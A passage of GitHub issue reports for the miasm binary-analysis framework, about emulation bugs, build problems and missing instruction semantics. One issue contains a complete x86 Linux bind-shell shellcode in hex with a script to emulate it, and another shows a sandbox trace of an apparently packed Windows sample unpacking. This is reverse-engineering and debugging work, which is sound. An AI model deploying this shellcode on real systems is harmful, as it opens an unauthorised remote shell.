+    fix_InLoadOrderModuleList(jitter)
+    fix_InMemoryOrderModuleList(jitter)
+    fix_InInitializationOrderModuleList(jitter)

-    build_ldr_data(jitter, modules_info)
+    build_ldr_data(jitter)
     add_process_env(jitter)
     add_process_parameters(jitter)

This is the function i use to add a newDLL in memory :

def add_lib(myjit, newDLL):
    dll = newDLL + '.dll'
    newlib = vm_load_pe_lib(myjit.vm, dll, win_api_x86_32.winobjs.runtime_dll, win_dll_dir)
    _ = preload_pe(myjit.vm, newlib, win_api_x86_32.winobjs.runtime_dll)
    myjit.add_lib_handler(win_api_x86_32.winobjs.runtime_dll, methods)
    win_api_x86_32_seh.loaded_modules.append(dll)
    win_api_x86_32_seh.create_modules_chain(myjit, win_api_x86_32_seh.loaded_modules)
    win_api_x86_32_seh.fix_InLoadOrderModuleList(myjit)
    win_api_x86_32_seh.fix_InMemoryOrderModuleList(myjit)
    win_api_x86_32_seh.fix_InInitializationOrderModuleList(myjit)
    myjit.cpu.EAX = win_api_x86_32.winobjs.runtime_dll.lib_get_add_base(newDLL)

Order of IR instructions and memory access

Hi!

I'm modelling memory access based on the IR instructions.
The order of the IR instructions seems not to be represent the program semantics, especially in the epilog, regarding the incrementation of RSP.

First, a few listings:

Assembly:

loc_0000000000400577:0x00400577
PUSH       RBP
MOV        RBP, RSP
MOV        DWORD PTR [RBP+0xFFFFFFFFFFFFFFFC], EDI
MOV        EAX, DWORD PTR [RBP+0xFFFFFFFFFFFFFFFC]
ADD        EAX, 0x4
POP        RBP
RET

IR:

loc_0000000000400577:0x00400577
    RSP = {(RSP[0:64]+(- 0x8)),0,64}
    @64[(RSP[0:64]+(- 0x8))] = RBP

    RBP = RSP

    @32[(RBP+0xFFFFFFFFFFFFFFFC)] = RDI[0:32]

    RAX = {@32[(RBP+0xFFFFFFFFFFFFFFFC)],0,32, 0x0,32,64}

    zf = ((RAX[0:32]+0x4)?(0x0,0x1))
    nf = (RAX[0:32]+0x4)[31:32]
    pf = (parity ((RAX[0:32]+0x4)&0xFF))
    af = (((RAX[0:32]+0x4)&0x10)?(0x1,0x0))
    cf = (((RAX[0:32]^0x4)^(RAX[0:32]+0x4))^((RAX[0:32]^(RAX[0:32]+0x4))&((RAX[0:32]^0x4)^0xFFFFFFFF)))[31:32]
    of = ((RAX[0:32]^(RAX[0:32]+0x4))&((RAX[0:32]^0x4)^0xFFFFFFFF))[31:32]
    RAX = {(RAX[0:32]+0x4),0,32, 0x0,32,64}

    RSP = {(RSP[0:64]+0x8),0,64}
    RBP = @64[RSP[0:64]]

    RSP = {(RSP[0:64]+0x8),0,64}
    RIP = @64[RSP[0:64]]
    IRDst = @64[RSP[0:64]]

dump_id() after symbolic execution:

zf ((RDI_init[0:32]+0x4)?(0x0,0x1))
nf (RDI_init[0:32]+0x4)[31:32]
pf (parity ((RDI_init[0:32]+0x4)&0xFF))
of (((RDI_init[0:32]+0x4)^RDI_init[0:32])&(RDI_init[0:32]^0xFFFFFFFB))[31:32]
cf ((((RDI_init[0:32]+0x4)^RDI_init[0:32])&(RDI_init[0:32]^0xFFFFFFFB))^(RDI_init[0:32]+0x4)^RDI_init[0:32]^0x4)[31:32]
af (((RDI_init[0:32]+0x4)&0x10)?(0x1,0x0))
RIP @64[RSP_init]
RAX {(RDI_init[0:32]+0x4),0,32, 0x0,32,64}
RSP (RSP_init+0x8)
IRDst @64[RSP_init]

dump_mem() after symbolic execution:

@32[(RSP_init+0xFFFFFFFFFFFFFFF4)] RDI_init[0:32]
@64[(RSP_init+0xFFFFFFFFFFFFFFF8)] RBP_init

The symbolic execution states that the return address is 64[RSP_init], but the last value of RSP is (RSP_init+0x8). Thus, IRDst would get assigned the value at address RSP_init + 0x8. To represent the program semantics, it should look as

RIP = @64[RSP[0:64]]
IRDst = @64[RSP[0:64]]
RSP = {(RSP[0:64]+0x8),0,64}

The same holds for

RSP = {(RSP[0:64]+0x8),0,64}
RBP = @64[RSP[0:64]]

(As a side note, dump_id() doesn't contain RBP)

My questions:

  • Is that a bug or intended behaviour?
  • In the second case, is there a (straight forward) way I could represent it in a semantic-preserving order?

Thanks in advance :)

Issue when using the debugger w/ MIPS32 code

It seems that delayslots aren't executed when stepping throught MIPS32 code using the miasm debugger. I tried to figure out why in the source code but got lost at some point at this hour... ;)
To reproduce it, try it with any MIPS32 binary (don't thank me for this remark :))

Is miasm compatible with OSX ?

Hello,

I try to build miasm on my osx. After installing all the depedencies I type python setup.py build and got this:

building
build with 'all'
running build
running build_py
running build_ext
building 'miasm2.jitter.arch.JitCore_x86' extension
clang -fno-strict-aliasing -fno-common -dynamic -I/usr/local/include -I/usr/local/opt/sqlite/include -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes -I/usr/local/Cellar/python/2.7.9/Frameworks/Python.framework/Versions/2.7/include/python2.7 -c miasm2/jitter/vm_mngr.c -o build/temp.macosx-10.9-x86_64-2.7/miasm2/jitter/vm_mngr.o
miasm2/jitter/vm_mngr.c:230:8: warning: explicitly assigning a variable of type 'uint64_t'
(aka 'unsigned long long') to itself [-Wself-assign]
ret = ret;
~~~ ^ ~~~
miasm2/jitter/vm_mngr.c:306:8: warning: explicitly assigning a variable of type 'uint64_t'
(aka 'unsigned long long') to itself [-Wself-assign]
src = src;
~~~ ^ ~~~
2 warnings generated.
clang -fno-strict-aliasing -fno-common -dynamic -I/usr/local/include -I/usr/local/opt/sqlite/include -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes -I/usr/local/Cellar/python/2.7.9/Frameworks/Python.framework/Versions/2.7/include/python2.7 -c miasm2/jitter/vm_mngr_py.c -o build/temp.macosx-10.9-x86_64-2.7/miasm2/jitter/vm_mngr_py.o
miasm2/jitter/vm_mngr_py.c:711:24: error: use of undeclared identifier '__BIG_ENDIAN'
self->vm_mngr.sex = __BIG_ENDIAN;
^
miasm2/jitter/vm_mngr_py.c:719:24: error: use of undeclared identifier '__LITTLE_ENDIAN'
self->vm_mngr.sex = __LITTLE_ENDIAN;
^
2 errors generated.
SystemExit("error: command 'clang' failed with exit status 1",)
build with 'notcc'
running build
running build_py
running build_ext
building 'miasm2.jitter.arch.JitCore_x86' extension
clang -fno-strict-aliasing -fno-common -dynamic -I/usr/local/include -I/usr/local/opt/sqlite/include -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes -I/usr/local/Cellar/python/2.7.9/Frameworks/Python.framework/Versions/2.7/include/python2.7 -c miasm2/jitter/vm_mngr.c -o build/temp.macosx-10.9-x86_64-2.7/miasm2/jitter/vm_mngr.o
miasm2/jitter/vm_mngr.c:230:8: warning: explicitly assigning a variable of type 'uint64_t'
(aka 'unsigned long long') to itself [-Wself-assign]
ret = ret;
~~~ ^ ~~~
miasm2/jitter/vm_mngr.c:306:8: warning: explicitly assigning a variable of type 'uint64_t'
(aka 'unsigned long long') to itself [-Wself-assign]
src = src;
~~~ ^ ~~~
2 warnings generated.
clang -fno-strict-aliasing -fno-common -dynamic -I/usr/local/include -I/usr/local/opt/sqlite/include -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes -I/usr/local/Cellar/python/2.7.9/Frameworks/Python.framework/Versions/2.7/include/python2.7 -c miasm2/jitter/vm_mngr_py.c -o build/temp.macosx-10.9-x86_64-2.7/miasm2/jitter/vm_mngr_py.o
miasm2/jitter/vm_mngr_py.c:711:24: error: use of undeclared identifier '__BIG_ENDIAN'
self->vm_mngr.sex = __BIG_ENDIAN;
^
miasm2/jitter/vm_mngr_py.c:719:24: error: use of undeclared identifier '__LITTLE_ENDIAN'
self->vm_mngr.sex = __LITTLE_ENDIAN;
^
2 errors generated.
SystemExit("error: command 'clang' failed with exit status 1",)
Traceback (most recent call last):
File "setup.py", line 158, in
try_build()
File "setup.py", line 147, in try_build
buil_all()
File "setup.py", line 106, in buil_all
raise ValueError('Unable to build Miasm!')
ValueError: Unable to build Miasm!

Test fails with include error on Debian sid

$ python test_all.py -m
[...]
[TEST/ARCH] Running tests on x86/unit/mn_strings.py ...                                                                    ERROR
In file included from <string>:12:
In file included from /usr/include/python2.7/Python.h:33:
/usr/include/stdio.h:33: error: include file 'stddef.h' not found
Erreur de compilation !
[...]

Probable valid paths :

libgcc-4.9-dev:amd64: /usr/lib/gcc/x86_64-linux-gnu/4.9/include/stddef.h
libgcc-4.8-dev:amd64: /usr/lib/gcc/x86_64-linux-gnu/4.8/include/stddef.h

Less hacky way to install libtcc

Hi,

I saw in the installation procedure that a patch to libtcc's Makefile is necessary to get it to compile with -fPIC. In fact, providing the --disable-static option to the configure script has the same effect.
So it might seem less hacky to do ./configure --disable-static && make && make install rather than patching the Makefile. Does it work for you too?

Also, for LLVM, in Fedora (and probably other yum using linuces) the package is called python-llvmpy, if you want to add it.

Cheers!

Florent

instruction_x86.b does not send back the right bytes

Hi,

Here is an little example :

$python

from miasm2.arch.x86.arch import mn_x86
inst = mn_x86.dis('\x65\xc7\x00\x09\x00\x00\x00', 32, 0)
inst.b
'\xc7\x00\t\x00\x00\x00'
inst.l
7

We can see the 0x65 byte is ignored in inst.b whereas inst.l still send back the correct value.

Is it an issue or just normal behavior?

fcmovnb instruction is missing (linux x86)

Hey,

It seems fcmovnb (and maybe more) is not implemented.
I got this error :

---------------------------------------------------------------------------
KeyError                                  Traceback (most recent call last)
<ipython-input-53-f7b5140fd856> in <module>()
----> 1 myjit.continue_run(True)

/usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.pyc in continue_run(self, step)
    339         while self.run:
    340             try:
--> 341                 return self.run_iterator.next()
    342             except StopIteration:
    343                 pass

/usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.pyc in runiter_once(self, pc)
    314 
    315         # Run the bloc at PC
--> 316         self.pc = self.runbloc(self.pc)
    317 
    318         # Check exceptions

/usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.pyc in runbloc(self, pc)
    286         @pc: address of code to run"""
    287 
--> 288         return self.jit.runbloc(self.cpu, self.vm, pc)
    289 
    290     def runiter_once(self, pc):

/usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitcore.pyc in runbloc(self, cpu, vm, lbl)
    176         if not lbl in self.lbl2jitbloc:
    177             # Need to JiT the bloc
--> 178             self.disbloc(lbl, cpu, vm)
    179 
    180         # Run the bloc and update cpu/vmmngr state

/usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitcore.pyc in disbloc(self, addr, cpu, vm)
    149 
    150         # JiT it
--> 151         self.add_bloc(cur_bloc)
    152 
    153         # Update jitcode mem range

/usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitcore.pyc in add_bloc(self, b)
    105         """
    106 
--> 107         irblocs = self.ir_arch.add_bloc(b, gen_pc_updt = True)
    108         b.irblocs = irblocs
    109         self.jitirblocs(b.label, irblocs)

/usr/local/lib/python2.7/dist-packages/miasm2/ir/ir.pyc in add_bloc(self, bloc, gen_pc_updt)
    231                 c = irbloc(label, [], [])
    232                 ir_blocs_all.append(c)
--> 233             ir_bloc_cur, ir_blocs_extra = self.instr2ir(l)
    234 
    235             if gen_pc_updt is not False:

/usr/local/lib/python2.7/dist-packages/miasm2/ir/ir.pyc in instr2ir(self, l)
    133 
    134     def instr2ir(self, l):
--> 135         ir_bloc_cur, ir_blocs_extra = self.get_ir(l)
    136         return ir_bloc_cur, ir_blocs_extra
    137 

/usr/local/lib/python2.7/dist-packages/miasm2/arch/x86/sem.pyc in get_ir(self, instr)
   3590 
   3591         instr_ir, extra_ir = mnemo_func[
-> 3592             instr.name.lower()](self, instr, *args)
   3593         self.mod_pc(instr, instr_ir, extra_ir)
   3594 

KeyError: 'fcmovnb'

The code analyzed is \xdb\xc2\x89\xe5\xd9\x75\xf4

Thanks

strange warning

Hello !

I got a strange Warning with a Linux shellcode.

<string>:37: warning: assignment from incompatible pointer type
<string>:38: warning: assignment from incompatible pointer type

This is the shellcode :

\x6a\x66\x58\x6a\x01\x5b\x99\x52\x53\x6a\x02\x89\xe1\xcd\x80\x52\x66\x68\xfc\xc9\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\x89\xc6\x43\xb0\x66\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x89\xe1\x43\xb0\x66\xcd\x80\x96\x52\x68\x72\x64\x3a\x20\x68\x73\x73\x77\x6f\x66\x68\x50\x61\x89\xe7\x6a\x00\x6a\x0a\x57\x56\x89\xe1\xb3\x09\xb0\x66\xcd\x80\x52\x6a\x08\x8d\x4c\x24\x08\x51\x56\x89\xe1\xb3\x0a\xb0\x66\xcd\x80\x87\xf3\x52\x68\x61\x75\x6c\x74\x68\x67\x6f\x74\x66\x89\xe7\x8d\x74\x24\x1c\x89\xd1\x80\xc1\x08\xfc\xf3\xa6\x74\x04\xf7\xf0\xcd\x80\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80

And this is the testing script i use :

shellcode = "\x6a\x66\x58\x6a\x01\x5b\x99\x52\x53\x6a\x02\x89\xe1\xcd\x80\x52\x66\x68\xfc\xc9\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\x89\xc6\x43\xb0\x66\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x89\xe1\x43\xb0\x66\xcd\x80\x96\x52\x68\x72\x64\x3a\x20\x68\x73\x73\x77\x6f\x66\x68\x50\x61\x89\xe7\x6a\x00\x6a\x0a\x57\x56\x89\xe1\xb3\x09\xb0\x66\xcd\x80\x52\x6a\x08\x8d\x4c\x24\x08\x51\x56\x89\xe1\xb3\x0a\xb0\x66\xcd\x80\x87\xf3\x52\x68\x61\x75\x6c\x74\x68\x67\x6f\x74\x66\x89\xe7\x8d\x74\x24\x1c\x89\xd1\x80\xc1\x08\xfc\xf3\xa6\x74\x04\xf7\xf0\xcd\x80\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"
garbage = '\x00' * 32

run_addr = 0x40000000

import os,sys
from miasm2.jitter.jitload import *
from miasm2.analysis.machine import Machine
from miasm2.analysis.binary import Container
from miasm2.jitter.csts import PAGE_READ, PAGE_WRITE

machine = Machine('x86_32')
myjit = machine.jitter("tcc")
myjit.jit.options.update({"jit_maxline":5000})
myjit.stack_size = 0x10000
myjit.init_stack()
myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, shellcode+garbage)
myjit.push_uint32_t(6)
myjit.push_uint32_t(6)
myjit.push_uint32_t(6)
myjit.push_uint32_t(0x1664dead)
myjit.jit.log_regs = False
myjit.jit.log_mn = True#True
myjit.jit.log_newbloc = False
myjit.init_run(run_addr)
myjit.run = True
myjit.cpu.set_exception(0)
myjit.continue_run(True)
myjit.cpu.EAX=3
myjit.cpu.set_exception(0)
myjit.continue_run(True)
myjit.cpu.EAX=0
myjit.cpu.set_exception(0)
myjit.continue_run(True)
myjit.cpu.EAX=0
myjit.cpu.set_exception(0)
myjit.continue_run(True)
myjit.cpu.EAX=4
myjit.cpu.set_exception(0)
myjit.continue_run(True)
myjit.cpu.EAX=10
myjit.cpu.set_exception(0)
myjit.continue_run(True)
myjit.cpu.EAX=13
myjit.cpu.set_exception(0)
myjit.continue_run()

Here is the latest prints :

In [135]: myjit.continue_run()
40000067 XCHG       EBX, ESI
40000069 PUSH       EDX
4000006A PUSH       0x746C7561
4000006F PUSH       0x66746F67
40000074 MOV        EDI, ESP
40000076 LEA        ESI, DWORD PTR [ESP+0x1C]
4000007A MOV        ECX, EDX
4000007C ADD        CL, 0x8
4000007F CLD        
40000080 REPE CMPSB      
40000082 JZ         loc_0000000040000088:0x40000088
<string>:37: warning: assignment from incompatible pointer type
<string>:38: warning: assignment from incompatible pointer type
40000084 DIV        EAX
40000086 INT        0x80

This shellcode opens a socket (bind, listen, accept), sends a message ("Password: ") and receives a password. The part where there is the warning the password received is compared with the expected one and then exit (because it's false).
I tried to modify the buffer which should contains the password received but the warning is still.

Regards

P.S. : If the correct password is set in the buffer the jump is executed and there is no warning. So I can tell you that this warning is occurring on the DIV instruction !

Install procedure with TinyCC

Hi, just my 2 cents tip:

If one follows the install procedure using TinyCC he might run into the problem that TinyCC puts the libtcc.so.1.0 in /usr/local/lib which may not be in the default path of the runtime linker (ubuntu for example) :

r1git@zenplace:~/tools/miasm/example/jitter$ python x86_32.py toto
Traceback (most recent call last):
  File "x86_32.py", line 26, in <module>
    myjit = Machine("x86_32").jitter(args.jitter)
  File "/usr/local/lib/python2.7/dist-packages/miasm2/arch/x86/jit.py", line 50, in __init__
    jitter.__init__(self, ir_x86_32(sp), *args, **kwargs)
  File "/usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py", line 204, in __init__
    self.jit = JitCore_Tcc(self.ir_arch, self.bs)
NameError: global name 'JitCore_Tcc' is not defined

r1git@zenplace:/usr/local/lib/python2.7/dist-packages/miasm2/jitter$ ldd Jittcc.so 
    linux-vdso.so.1 =>  (0x00007fff28bfe000)
    libtcc.so.1.0 => not found
    libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007ff1bc9bf000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff1bc5f9000)
    /lib64/ld-linux-x86-64.so.2 (0x00007ff1bce07000)

The possible solutions :

  • Modify your LD_LIBRARY_PATH
  • Update your /etc/ld.so.conf.d/ file

Ok. Lamest contribution ever. But still !

Congrats for your great tools.

Question on Breakpoint

Hello,

Is there a way to add a Breakpoint on execution of a memory area ?

The "jitter.add_breakpoint" method creates a breakpoint on a specific address only.
The "jitter.vm.add_memory_breakpoint" methode creates a breakpoint on a memory area but only for read and/or write.

I'm looking for this in the case we don't know exactly where the execution jumps to and we can't modify this area memory(*) without altering the execution.

(*) Filling it with 0x90 or something similar and put the breakpoint at the end

Rergards,

[Bug] SemBuilder mishandling on AST Subscript inside AST Call

The generated function for miasm2.arch.mips32.sem: lbu is:

def lbu(ir, instr, arg1, arg2):
    'A byte is loaded (unsigned extended) into a register @arg1 from the\n    specified address @arg2.'
    return ([ExprAff(arg1, mem8[arg2.arg].zeroExtend(32))], [])

Indeed, the mem8[] is not handled, because it is included inside a Call (.zeroExtend). It seems to be related to a TODO annotation.

Assertion error when popping esp

I seem to be getting an assertion error when emulating pop esp (it's the instruction just after ret; all registers are in the state they are stupposed to be). Any ideas? I can share my script and binary sample if you need to.

RAX 0000000000000000 RBX 0000000000400000 RCX 0000000020002098 RDX 0000000000000000
RSI 0000000000401478 RDI 0000000000400000 RSP 000000000132FEF8 RBP 00000000200015F8
zf 0000000000000001 nf 0000000000000000 of 0000000000000000 cf 0000000000000000
RIP 000000002000118B
2000118B CALL       loc_00000000200013E5:0x200013e5
RAX 0000000000000000 RBX 0000000000400000 RCX 0000000020002098 RDX 0000000000000000
RSI 0000000000401478 RDI 0000000000400000 RSP 000000000132FEF4 RBP 00000000200015F8
zf 0000000000000001 nf 0000000000000000 of 0000000000000000 cf 0000000000000000
RIP 00000000200013E5
200013E5 PUSHAD     
RAX 0000000000000000 RBX 0000000000400000 RCX 0000000020002098 RDX 0000000000000000
RSI 0000000000401478 RDI 0000000000400000 RSP 000000000132FED4 RBP 00000000200015F8
zf 0000000000000001 nf 0000000000000000 of 0000000000000000 cf 0000000000000000
RIP 00000000200013E5
200013E6 CMP        DWORD PTR [EBP+0x54], 0x0
RAX 0000000000000000 RBX 0000000000400000 RCX 0000000020002098 RDX 0000000000000000
RSI 0000000000401478 RDI 0000000000400000 RSP 000000000132FED4 RBP 00000000200015F8
zf 0000000000000001 nf 0000000000000000 of 0000000000000000 cf 0000000000000000
RIP 00000000200013E6
200013EA JZ         loc_00000000200013FE:0x200013fe
RAX 0000000000000000 RBX 0000000000400000 RCX 0000000020002098 RDX 0000000000000000
RSI 0000000000401478 RDI 0000000000400000 RSP 000000000132FED4 RBP 00000000200015F8
zf 0000000000000001 nf 0000000000000000 of 0000000000000000 cf 0000000000000000
RIP 00000000200013FE
200013FE POPAD      
RAX 0000000000000000 RBX 0000000000400000 RCX 0000000020002098 RDX 0000000000000000
RSI 0000000000401478 RDI 0000000000400000 RSP 000000000132FEF4 RBP 00000000200015F8
zf 0000000000000001 nf 0000000000000000 of 0000000000000000 cf 0000000000000000
RIP 00000000200013FE
200013FF RET        
Traceback (most recent call last):
  File "sandbox.py", line 254, in <module>
    sb.run()
  File "/usr/local/lib/python2.7/dist-packages/miasm2/analysis/sandbox.py", line 336, in run
    super(Sandbox_Win_x86_32, self).run(addr)
  File "/usr/local/lib/python2.7/dist-packages/miasm2/analysis/sandbox.py", line 122, in run
    print self.jitter.continue_run()
  File "/usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py", line 297, in continue_run
    return self.run_iterator.next()
  File "/usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py", line 272, in runiter_once
    self.pc = self.runbloc(self.pc)
  File "/usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py", line 244, in runbloc
    return self.jit.runbloc(self.cpu, self.vm, pc)
  File "/usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitcore.py", line 172, in runbloc
    self.disbloc(lbl, cpu, vm)
  File "/usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitcore.py", line 145, in disbloc
    self.add_bloc(cur_bloc)
  File "/usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitcore.py", line 101, in add_bloc
    irblocs = self.ir_arch.add_bloc(b, gen_pc_updt = True)
  File "/usr/local/lib/python2.7/dist-packages/miasm2/ir/ir.py", line 237, in add_bloc
    self.post_add_bloc(bloc, ir_blocs_all)
  File "/usr/local/lib/python2.7/dist-packages/miasm2/ir/ir.py", line 278, in post_add_bloc
    self.merge_multi_affect(affect_list)
  File "/usr/local/lib/python2.7/dist-packages/miasm2/ir/ir.py", line 187, in merge_multi_affect
    for r in missing_i]
  File "/usr/local/lib/python2.7/dist-packages/miasm2/expression/expression.py", line 766, in __init__
    assert(start < stop)
AssertionError

XORPS instruction (x86)

Hello,

I don't know if this is wanted or not:

def xorps(ir, instr, a, b):
    e = []
    if isinstance(b, ExprMem):
    b = ExprMem(b.arg, a.size)
    e.append(ExprAff(a, ExprOp('xorps', a, b)))
    return e, []

The "xorps" operator is not defined, and IR speaking, we can imagine this operation is simply a XOR between two values, so how about:

e.append(ExprAff(a, ExprOp("^", a, b)))

Is there any problematic side effects to use this representation?

Thanks!

Miasmv1 jitter unix API

Hi,

some time ago, someone mentioned in the IRC that the unix API functions from miasm v1 are missing. I picked out the latest commit of nux_api.py and pasted it here.

Are there reasons why they are not included in miasm v2?

Use miasm for windows binaries

Hello.
I'm working on an approach to combat symbolic executions of Windows binaries (EXE files). I need to disassemble the file and after applying my algorithm to the code then assemble it again and at last run the symbolic execution.
Because there is no documentation I don't no that "miasm" is good for me or not. Can you expain a little bit?
If I can only run symbolic execution that will be great too.

Support arm/armthumb switch during emulation

For the moment the emulation is linked to only one architecture. A problem raises in arm emulation since executing a BLX switches from one arch to another.
Some modification are needed in the jitter to support such behavior.

Jumping to strange address after call to LoadLibraryA

I'm getting a strange behavior when calling LoadLibraryA (or more precisely from the exec_wrapper function)

cannot find crypto, skipping
add module 0x400000 'd\x00l\x00u\x00h\x00_\x002\x000\x001\x005\x00-\x000\x002\x00-\x000\x009\x00_\x001\x001\x00-\x003\x003\x00-\x003\x008\x00.\x00e\x00x\x00e\x00'
0x38 'd\x00l\x00u\x00h\x00_\x002\x000\x001\x005\x00-\x000\x002\x00-\x000\x009\x00_\x001\x001\x00-\x003\x003\x00-\x003\x008\x00.\x00e\x00x\x00e\x00'
add module 0x0 '\x00'
0x1 '\x00'
add module 0x7c910000 'n\x00t\x00d\x00l\x00l\x00.\x00d\x00l\x00l\x00'
0x12 'n\x00t\x00d\x00l\x00l\x00.\x00d\x00l\x00l\x00'
add module 0x7c800000 'k\x00e\x00r\x00n\x00e\x00l\x003\x002\x00.\x00d\x00l\x00l\x00'
0x18 'k\x00e\x00r\x00n\x00e\x00l\x003\x002\x00.\x00d\x00l\x00l\x00'
add module 0x7e390000 'u\x00s\x00e\x00r\x003\x002\x00.\x00d\x00l\x00l\x00'
0x14 'u\x00s\x00e\x00r\x003\x002\x00.\x00d\x00l\x00l\x00'
add module 0x774a0000 'o\x00l\x00e\x003\x002\x00.\x00d\x00l\x00l\x00'
0x12 'o\x00l\x00e\x003\x002\x00.\x00d\x00l\x00l\x00'
add module 0x7df30000 'u\x00r\x00l\x00m\x00o\x00n\x00.\x00d\x00l\x00l\x00'
0x14 'u\x00r\x00l\x00m\x00o\x00n\x00.\x00d\x00l\x00l\x00'
add module 0x71ab0000 'w\x00s\x002\x00_\x003\x002\x00.\x00d\x00l\x00l\x00'
0x14 'w\x00s\x002\x00_\x003\x002\x00.\x00d\x00l\x00l\x00'
add module 0x77f50000 'a\x00d\x00v\x00a\x00p\x00i\x003\x002\x00.\x00d\x00l\x00l\x00'
0x18 'a\x00d\x00v\x00a\x00p\x00i\x003\x002\x00.\x00d\x00l\x00l\x00'
add module 0x76bf0000 'p\x00s\x00a\x00p\x00i\x00.\x00d\x00l\x00l\x00'
0x12 'p\x00s\x00a\x00p\x00i\x00.\x00d\x00l\x00l\x00'
fix inloadorder
dluh_2015-02-09_11-33-38.exe

ntdll.dll
kernel32.dll
user32.dll
ole32.dll
urlmon.dll
ws2_32.dll
advapi32.dll
psapi.dll
dluh_2015-02-09_11-33-38.exe

ntdll.dll
kernel32.dll
user32.dll
ole32.dll
urlmon.dll
ws2_32.dll
advapi32.dll
psapi.dll
inloadorder first 0x341f00
ntdll 0x343f00
Start emulation 0x401e8b
[DEBUG]: my_GetEnvironmentVariable 0x401eee ['0x40727a', '0x407284', '0xa']
WARNING: WARNING unknown env variable 'SWkBlRevt'
[DEBUG]: kernel32_GetPrivateProfileStructW 0x401f2e ['0x407228', '0x407228', '0x407239']
[DEBUG]: kernel32_GetLongPathNameA 0x40146d ['0x4072ea', '0x4072fa', '0xd']
[DEBUG]: kernel32_GetPrivateProfileStructW 0x401dae ['0x407228', '0x407228', '0x407239']
[DEBUG]: kernel32_GetShortPathNameW 0x401dfe ['0x4072b2', '0x4072c2', '0x9']
[DEBUG]: kernel32_SetCurrentDirectoryW 0x401b91 ['0x407350']
[DEBUG]: kernel32_GetPrivateProfileStructW 0x40294d ['0x407228', '0x407228', '0x407239']
[DEBUG]: kernel32_GetPrivateProfileStructW 0x402989 ['0x407307', '0x407307', '0x407317']
[DEBUG]: kernel32_FindResourceA 0x4019a9 ['0x0', '0x40728f', '0x4072a1']
[DEBUG]: kernel32_SetCurrentDirectoryW 0x4019e2 ['0x407350']
[DEBUG]: kernel32_QueryDosDeviceW 0x401cc3 ['0x40725a', '0x40726a', '0x10']
[DEBUG]: kernel32_QueryDosDeviceW 0x401f9a ['0x40725a', '0x40726a', '0x10']
[DEBUG]: kernel32_GetPrivateProfileStructW 0x40117f ['0x407228', '0x407228', '0x407239']
[DEBUG]: kernel32_GetPrivateProfileStructW 0x402020 ['0x407228', '0x407228', '0x407239']
[DEBUG]: kernel32_WaitForSingleObject 0x4015bc ['0xffffffff', '0x3e8']
[DEBUG]: kernel32_LoadLibraryA 0x4016ac ['0x407210']
uxtheme.dll
INFO : uxtheme.dll
INFO : ret 71122000
[DEBUG]: kernel32_VirtualAlloc 0x402099 ['0x0', '0x674', '0x1000', '0x40']
[DEBUG]: kernel32_LoadLibraryA 0x2000000e ['0x200001bc']
Kernel32.dll
INFO : Kernel32.dll
INFO : ret 7c800000
[DEBUG]: kernel32_GetProcAddress 0x20000042 ['0x7c800000', '0x200001c9']
INFO : HeapAlloc
[DEBUG]: kernel32_GetProcAddress 0x2000004c ['0x7c800000', '0x200001d3']
INFO : HeapFree
[DEBUG]: kernel32_GetProcAddress 0x20000057 ['0x7c800000', '0x200001dc']
INFO : GetTickCount
[DEBUG]: kernel32_VirtualAlloc 0x2000006b ['0x0', '0x674', '0x1000', '0x40']
[DEBUG]: kernel32_VirtualAlloc 0x200015e2 ['0x0', '0x2000', '0x1000', '0x4']
[DEBUG]: kernel32_VirtualProtect 0x200010b9 ['0x400000', '0x200', '0x4', '0x132fef0']
[DEBUG]: kernel32_VirtualProtect 0x200010c9 ['0x400000', '0x200', '0x2', '0x132fef0']
[DEBUG]: kernel32_VirtualProtect 0x20001112 ['0x401000', '0x2000', '0x4', '0x132fed0']
[DEBUG]: kernel32_VirtualProtect 0x20001128 ['0x401000', '0x2000', '0x40', '0x132fed0']
[DEBUG]: kernel32_VirtualProtect 0x20001112 ['0x403000', '0x1000', '0x4', '0x132fed0']
[DEBUG]: kernel32_VirtualProtect 0x20001128 ['0x403000', '0x1000', '0x2', '0x132fed0']
[DEBUG]: kernel32_GetModuleHandle 0x2000120b ['0x40204c']
INFO : KERNEL32.dll
[DEBUG]: kernel32_VirtualProtect 0x20001230 ['0x401000', '0x54', '0x4', '0x132fec4']
[DEBUG]: kernel32_GetProcAddress 0x2000125b ['0x7c800000', '0x401f1a']
INFO : ExitProcess
[DEBUG]: kernel32_GetProcAddress 0x2000125b ['0x7c800000', '0x401f28']
INFO : FindResourceA
[DEBUG]: kernel32_GetProcAddress 0x2000125b ['0x7c800000', '0x401f38']
INFO : LoadResource
[DEBUG]: kernel32_GetProcAddress 0x2000125b ['0x7c800000', '0x401f48']
INFO : VirtualFree
[DEBUG]: kernel32_GetProcAddress 0x2000125b ['0x7c800000', '0x401f56']
INFO : WriteFile
